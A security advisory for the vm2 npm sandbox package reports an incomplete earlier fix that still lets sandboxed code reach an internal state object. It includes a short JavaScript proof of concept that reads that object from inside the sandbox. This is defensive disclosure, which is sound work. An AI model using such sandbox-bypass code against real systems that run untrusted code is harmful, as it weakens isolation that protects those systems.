GHSA-2cm2-m3w5-gp2f

Suggest an improvement
Source
https://github.com/advisories/GHSA-2cm2-m3w5-gp2f
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-2cm2-m3w5-gp2f/GHSA-2cm2-m3w5-gp2f.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-2cm2-m3w5-gp2f
Downstream
Published
2026-05-08T16:22:52Z
Modified
2026-05-08T16:33:35.430736Z
Severity
  • 5.3 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N CVSS Calculator
Summary
vm2 has access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL`
Details

Summary

https://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7 is not fully patched.

Details

It is still possible to get access to VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL.

PoC

const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
 globalThis['VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL']
`));
Database specific
{
    "nvd_published_at": null,
    "cwe_ids": [
        "CWE-693"
    ],
    "severity": "MODERATE",
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T16:22:52Z"
}
References

Affected packages

npm / vm2

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
3.11.2

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-2cm2-m3w5-gp2f/GHSA-2cm2-m3w5-gp2f.json"